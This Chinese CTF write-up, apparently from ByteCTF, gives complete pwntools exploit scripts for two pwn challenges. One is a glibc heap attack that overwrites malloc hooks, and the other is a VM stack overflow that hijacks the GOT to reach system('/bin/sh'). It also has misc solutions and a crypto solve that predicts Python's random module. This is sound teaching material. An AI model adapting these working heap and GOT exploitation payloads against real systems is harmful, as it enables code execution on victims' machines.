漏洞在edit的时候溢出。但由于限制了堆大小,先用unsorted bin attack改掉global_max_fast,然后就可以愉快的fastbin attack了。先fast到stdout改write_base leak得到libc,然后fast到malloc_hook改hook,比较蛋疼的是one_gadget全失效了,于是用到libc_realloc+某个偏移。从+1一直试到+13,终于成功在[rsp+0x30]得到一个0,然后让__realloc_hook为one_gadget就行了

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
binary_file = './note_five'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    def choice(cmd, *argv):
        sla('>>',cmd)
        for i in argv:
            if isinstance(i,tuple):
                sa((i[1]),i[0])
                continue
            if isinstance(i,list):
                sla(i[1],i[0])
                continue
            sla(':',i)
    add     = lambda idx,size           :choice(1,idx,size)
    edit    = lambda idx,content        :choice(2,idx,(content,':'))
    delete  = lambda idx                :choice(3,idx)
    # dbg(elf.plt.malloc) # malloc
    # dbg(0xE6D) # free
    # dbg(0x0DEE) # edit

    add(0,0xe8)
    add(1,0xe8)
    add(2,0xe8)
    add(3,0xe8)
    add(4,0xe8)


    # dbg(0xE6D) # free
    delete(0)
    payload = 'a' * 0xe0 + p64(0x2d0) + '\xf0'
    edit(2,payload)
    delete(3)
    add(0,0x2d0 - 0x10)

    payload = '\x11' * 0xe0 
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    delete(1)

    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += p64(0) + p16(0x37f8 - 0x10) + '\n'
    edit(0,payload)
    add(3,0xe8)
    add(3,0xe8)

    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    delete(2)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p16(0x25cf)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)
    payload = "\x00" + p64(0)*4
    payload = flat('aaaaaaaaa',p64(0)*7,0xfbad1800,0,0,0,p8(0),'\n')
    edit(4,payload)
    ru(p64(0xfbad1800))
    r(0x20)
    libc.address = uu64(r(6))-libc.sym._IO_2_1_stdout_-131
    success('libc.address = 0x%x' % libc.address)
    assert libc.address % 0x1000 == 0

    # hijack control flow
    fastbin_attack1 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd196f)
    fastbin_attack2 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd1a50)
    delete(3)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p64(fastbin_attack1)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)
    payload = "\x00" + p64(0)*7 + p64(libc.address + 0x00007ffff7dd06e0 - 0x7ffff7a0d000)
    payload += p64(0) * 19 + p64(0xff) + "\n"
    edit(4,payload)


    delete(3)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p64(fastbin_attack2)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)

    payload = p64(0)*21 + p64(libc.sym.one_gadget)+ p64(libc.sym.__libc_realloc+13)+ "\n"
    # payload = p64(0)*22 + p64(libc.sym.one_gadget)+ "\n"
    # dbg(0x0DEE) # edit
    edit(4,payload)
    add(3,0x100)


    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

ezarch

[M]emory Set的时候设置stack为mem-0x1000的位置,对于bp只检查与mem->size的大小,而不是检查stack_max,使得bp可以栈溢出
将ebp设置为0x1008,使ebp指向了mem->stack指针
由于Partial RELRO,接下来的思路是将stack指针劫持到got表。
本来想通过断点打印的信息把libc leak出来的,不过既然有add和sub这样的opcode,直接根据libc的相对偏移去加减操作省事很多。
由于寄存器是32位的,分别将free的高低32位设置为system。再一次[M]emory Set的时候会free掉这个chunk,所以在payload头部写入/bin/sh,并且设置eip为8跳过这个字符串。

#-*- coding: utf-8 -*-
from pwn import *

binary_file = './ezarch'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file) 
libc = elf.libc
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.27/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))

    func = lambda opcode, _type1, _type2, arg0, arg1: flat(p8(opcode), p8(_type1*0x10+_type2), p32(arg0), p32(arg1))

    # reg
    r = [i for i in range(0x10)]
    esp = 16
    ebp = 17

    # _type1    
    stackreg = 0
    regimm = 1
    regreg = 2

    # _type2    
    no_ptr = 0
    ptr = 2

    # opcode
    error = 0
    add = 1
    sub = 2
    mov = 3
    xor = 4
    _or = 5
    _and = 6
    shl = 7
    shr = 8
    push = 9
    pop = 0xA
    call = 0xB
    ret = 0xC
    test = 0xD
    test2 = 0xE
    jz = 0xF
    jz2 = 0x10
    nop = 0x11

    payload = flat(
        '/bin/sh\x00',
        func(mov,regimm,no_ptr,ebp,0x1008),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(sub,regimm,no_ptr,r[0],0xa8),
        func(mov,stackreg,ptr,ebp,r[0]),

        func(mov,regimm,no_ptr,ebp,8),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(sub,regimm,no_ptr,r[0],libc.sym.puts-libc.sym.system),
        func(mov,regimm,no_ptr,ebp,0),
        func(mov,stackreg,ptr,ebp,r[0]),

        func(mov,regimm,no_ptr,ebp,8+4),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(mov,regimm,no_ptr,ebp,4),
        func(mov,stackreg,ptr,ebp,r[0]),
    )

    sla('>', 'M')
    sla('>', 0x1100)
    sla('>', len(payload))
    sa(')', payload)
    sla('>', 8)
    sla('>', 0)
    sla('>', 0)

    # dbg(0x9C0) # run
    # dbg(0x0AC2) # free
    sla('>','R')
    sla('>','M')
    sla('size>',1)

    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

Misc:

Hello Bytectf

打开题目即可getflag

jigsaw

遇到题目怎么办?当然是人工做题了,先把没有带白字的图片,全部删掉,先把能拼接的都拼接起来,然后再整体连接起来。突然发现一个flag

根据"{"大致确定了中间位置,然后逐个拼接

最终拼接完毕

图片flag为flag{fate_stay_nt},提交然后失败
然后把flag换成bytectf即bytectf{fate_stay_nt},提交成功

betgame

# coding=utf-8
from pwn import *
p=remote('112.125.25.81',9999)
# context(log_level='debug')
f = ['j','s','b']
def getind(x,y):
    if y == 0:
        return x
    elif y ==1:
        return (x+y)%3
    elif y == -1:
        if x > 0:
            return x+y
        elif x == 0:
            return 2
for i in range(10):
    print i,"1"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t),0)])
    print i, "2"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t), -1)])
    print i, "3"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t), 1)])
p.interactive()

Crypto:

lrlr

通过old的1000组可以预测python随机数,
https://github.com/tna0y/Python-random-module-cracker
一共2轮aes加密,既然密钥可以预测出来,自然就能解密得到clist。

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import random
from randcrack import RandCrack

rc = RandCrack()
with open('old') as file:
    old = [int(i) for i in file.read().strip().split('\n')]

index = 0
for i in range(index,624):
    rc.submit(old[index])
    index+=1

for i in range(1000-624):
    assert(old[index]==rc.predict_getrandbits(32))
    index+=1


with open('cl') as file:
    nlist = [eval(i) for i in file.read().strip().split('\n')]

with open('new') as file:
    clist=[i.decode('hex') for i in file.read().strip().split('\n')]

key1=[]
key2=[]
key3=[]
for i in range(24):
    key1.append(rc.predict_getrandbits(128))
for i in range(24):
    key2.append(rc.predict_getrandbits(128))
for i in range(24):
    key3.append(rc.predict_getrandbits(128))


tmp1=[]
for i in range(24):
    handle = AES.new(long_to_bytes(key3[i]), AES.MODE_CBC, "\x00"*16)
    tmpstate=handle.decrypt(clist[i])
    tmp1.append(tmpstate)

tmp2=[]
for i in range(24):
    handle = AES.new(long_to_bytes(key2[i]), AES.MODE_CBC, "\x00"*16)
    tmpstate=handle.decrypt(tmp1[i])
    tmp2.append(tmpstate)

# tmp3=[]
# for i in range(24):
#     handle = AES.new(long_to_bytes(key1[i]), AES.MODE_CBC, "\x00"*16)
#     tmpstate=handle.decrypt(tmp2[i])
#     tmp3.append(tmpstate)

c=[]
for i in tmp2:
    c.append(bytes_to_long(i))

for i in range(17):
    print 'n = %d'%nlist[i]
    print 'e = 17'
    print 'c = %d'%c[i]
    print '\n'

然后有了24组n,c;e=17。随便选择17组去广播攻击

最后一步类似jarvis oj上的bbencode原题,循环编码,判断flag开头的字符串

def bbencode(n):
    a = 0
    for i in bin(n)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ n
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
    return a

result = 61406796444626535559771097418338494728649815464609781204026855332620301752444
for i in range(10000):
    result = bbencode(result)
    if("666c6167" == str(hex(result))[2:10]):
        print i
        print hex(result)[2:-1].decode('hex')

点击收藏 | 1 关注 | 1
登录 后跟帖